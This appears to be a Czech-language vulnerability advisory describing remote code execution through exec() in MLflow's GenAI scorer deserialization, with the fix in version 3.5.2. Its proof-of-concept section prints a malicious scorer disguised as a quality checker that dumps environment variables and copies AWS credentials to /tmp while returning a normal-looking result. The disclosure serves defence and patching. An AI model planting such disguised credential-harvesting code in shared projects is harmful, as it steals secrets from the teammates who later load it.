Vzdálené spuštění kódu prostřednictvím deserializace GenAI scorerů v MLflow
Autor: Evan Harris
Riziko: Vysoké
Dotčená komponenta: GenAI scorery MLflow (mlflow/mlflow)
Stručné shrnutí
Mechanismus deserializace GenAI scorerů v MLflow obsahoval zranitelnost umožňující vzdálené spuštění kódu. Nástroj recreate_function() v souboru scorer_utils.py předával data scoreru řízená útočníkem (uložená ve sledovací databázi MLflow) přímo do funkce exec() jazyka Python. Škodlivý scorer zaregistrovaný jedním uživatelem spustí libovolný kód na počítači kohokoli, kdo jej později načte a spustí, čímž umožní útok na dodavatelský řetězec napříč celým ML týmem. Problém jsme nahlásili správcům MLflow, kteří jej opravili tím, že omezili registraci a načítání vlastních scorerů na prostředí řízená Databricks. Uživatelé by měli přejít na MLflow 3.5.2 nebo novější.
Samostatný problém v MLflow, zveřejněný téhož dne, popisuje Exfiltrace a zničení dat v MLflow kvůli chybějící validaci Origin (DNS rebinding).
Souvislosti
Modul GenAI v MLflow umožňuje týmům definovat scorery, tedy funkce jazyka Python, které vyhodnocují kvalitu výstupů LLM (kontroly délky, bezpečnost obsahu, formátování a podobně). Scorery lze vytvořit pomocí dekorátoru @scorer, zaregistrovat je k experimentu a později je načíst podle názvu pomocí get_scorer(), aby kolegové mohli sdílené hodnocení znovu použít.
Aby to fungovalo, MLflow serializuje základní funkci scoreru a uloží ji do sledovací databáze. Při načtení scoreru MLflow rekonstruuje funkci z těchto uložených dat. Krok rekonstrukce je místem, kde zranitelnost sídlila: serializovaný zdrojový kód byl obnoven voláním funkce exec() jazyka Python, která spustí jakýkoli kód, jenž je jí předán. Protože uložená data jsou zcela řízena útočníkem, kdokoli, kdo mohl zaregistrovat scorer, mohl umístit kód, který by se spustil uvnitř procesu jiného uživatele.
Přehled
Zranitelnost je spuštěna podél jediného řetězce volání deserializace, který končí v exec():
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module]
B --> C[Victim imports and registers
the scorer with MLflow]
C --> D[Serialized function stored in
tracking database]
D --> E["get_scorer(name, experiment_id)
registry.py:571"]
E --> F["Scorer.model_validate()
base.py:222"]
F --> G["_reconstruct_decorator_scorer()
base.py:298"]
G --> H["recreate_function()
scorer_utils.py:131"]
H --> I["exec(attacker_source)"]
I --> J[Remote Code Execution
in victim process]
style A fill:#ffebee
style B fill:#ffebee
style C fill:#fff3e0
style D fill:#fff9c4
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#fff9c4
style H fill:#ffcdd2
style I fill:#ffcdd2
style J fill:#ffcdd2
Řetězec volání je:
mlflow.genai.scorers.get_scorer()
→ Scorer.model_validate() # registry.py:571
→ _reconstruct_decorator_scorer() # base.py:222
→ recreate_function() # base.py:298
→ exec() # scorer_utils.py:131 ← REMOTE CODE EXECUTION
Scénář útoku
- Útočník vytvoří scorer, který vypadá legitimně (“kontrola kvality” s věrohodným docstringem), ale v těle funkce ukrývá škodlivou zátěž.
- Útočník scorer distribuuje kanálem, kterému oběť důvěřuje: balíčkem na PyPI, týmovým repozitářem na GitHubu nebo sdíleným modulem jazyka Python.
- Oběť scorer naimportuje a zaregistruje jej do MLflow. Serializovaná funkce se zapíše do sledovací databáze.
- Později, možná na jiném počítači, jiným členem týmu, o několik dní či týdnů později, někdo scorer načte pomocí
get_scorer()a použije jej. - Během deserializace zavolá
recreate_function()funkciexec()na uloženém zdrojovém kódu. Skrytá zátěž se spustí s plnými oprávněními procesu oběti.
Protože je spouštěč časově i mezi uživateli oddělen od registrace, útok je tichý: jediný škodlivý scorer zaregistrovaný jednou může kompromitovat každého v týmu, kdo si jej později stáhne.
Proof of Concept
Škodlivý scorer níže se vydává za kontrolu kvality výstupů. Tělo obsahuje zátěž, která zanechá značkovací soubor, exfiltruje proměnné prostředí a sklidí přihlašovací údaje AWS, než vrátí věrohodný výsledek, aby nevzbudila podezření:
from mlflow.genai.scorers import scorer
@scorer
def quality_checker(outputs):
"""
Quality checker for LLM outputs.
Validates that outputs meet quality standards:
- Minimum length requirements
- No offensive content
- Proper formatting
Returns:
bool: True if output passes quality checks
"""
# MALICIOUS PAYLOAD HIDDEN BELOW
import os
# Create proof file
os.system('touch /tmp/rce_supply_chain.txt')
os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')
# Exfiltrate environment variables
env_data = dict(os.environ)
with open('/tmp/exfiltrated_env.txt', 'w') as f:
f.write("EXFILTRATED ENVIRONMENT:\n")
for key, value in list(env_data.items())[:10]:
f.write(f'{key}={value}\n')
# Harvest AWS credentials
aws_creds_path = os.path.expanduser('~/.aws/credentials')
if os.path.exists(aws_creds_path):
with open(aws_creds_path, 'r') as f_in:
with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
f_out.write(f_in.read())
# Return a valid result to avoid suspicion
return len(outputs) > 10
Oběť si sdílený scorer načte tak, jak je zvyklá:
import mlflow
from mlflow.genai.scorers import get_scorer
# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")
scorer = get_scorer(name="quality_checker_v1", experiment_id="1")
A poté jej použije:
result = scorer(outputs="This is test output to evaluate")
V tomto okamžiku se spustí RCE a zátěž se vykoná v procesu oběti.
Dopad
V závislosti na zátěži nesené v nedůvěryhodných datech scoreru může útočník:
- Spustit libovolný kód jazyka Python s plnými oprávněními procesu oběti
- Exfiltrovat citlivá data, jako jsou přihlašovací údaje, proměnné prostředí a zdrojový kód
- Sklidit přihlašovací údaje z běžných umístění (AWS, Docker, SSH)
- Zajistit persistenci na počítači oběti
- Provést laterální pohyb a průzkum sítě
Dopad je zesílen povahou zranitelnosti spadající do dodavatelského řetězce: jediný škodlivý scorer zaregistrovaný jediným členem týmu může kompromitovat každého uživatele, který jej později načte, přičemž ke spuštění dojde tiše dlouho po registraci.
Reakce MLflow
Poté, co jsme problém zveřejnili prostřednictvím koordinovaného procesu zveřejnění v MLflow, správci jej vyřešili v pull requestu #18493.
Namísto pokusu o izolaci v sandboxu nebo o validaci deserializovaného zdrojového kódu správci odstranili nebezpečnou schopnost mimo řízená prostředí: registrace a načítání vlastních scorerů založených na kódu jsou nyní omezeny na sledovací prostředí Databricks, kde je množina uživatelů, kteří mohou scorery nahrávat, řízena. Uživatelé na jiných sledovacích backendech jsou nasměrováni k bezpečnějším alternativám, jako jsou vestavěné scorery a scorery založené na make_judge(), které během deserializace nevyžadují spuštění libovolného kódu.
Oprava byla vydána v MLflow 3.5.2.
Doporučení
Pro koncové uživatele
- Přejděte na MLflow 3.5.2 nebo novější.
- Registrujte a načítejte vlastní scorery pouze ze zdrojů, kterým plně důvěřujete.
- Zacházejte s daty scoreru ve sledovací databázi jako s nedůvěryhodným kódem, nikoli jako s inertními daty. Kdokoli, kdo může zapisovat do sledovacího úložiště, může spustit kód u každého konzumenta.
- Upřednostňujte vestavěné scorery nebo scorery
make_judge(), které během deserializace nespouštějí libovolný kód. - Omezte přístup k zápisu do sdílených sledovacích databází a scorery před opětovným použitím v týmu prověřte.
Časová osa
| Datum | Událost |
|---|---|
| 20. října 2025 | Zranitelnost nahlášena správcům MLflow prostřednictvím koordinovaného zveřejnění (issue #18404) |
| 24. října 2025 | MLflow slučuje opravu (PR #18493), vydáno ve v3.5.2 |
| 8. ledna 2026 | huntr označil problém jako duplicitní |
| 8. června 2026 | Veřejné zveřejnění |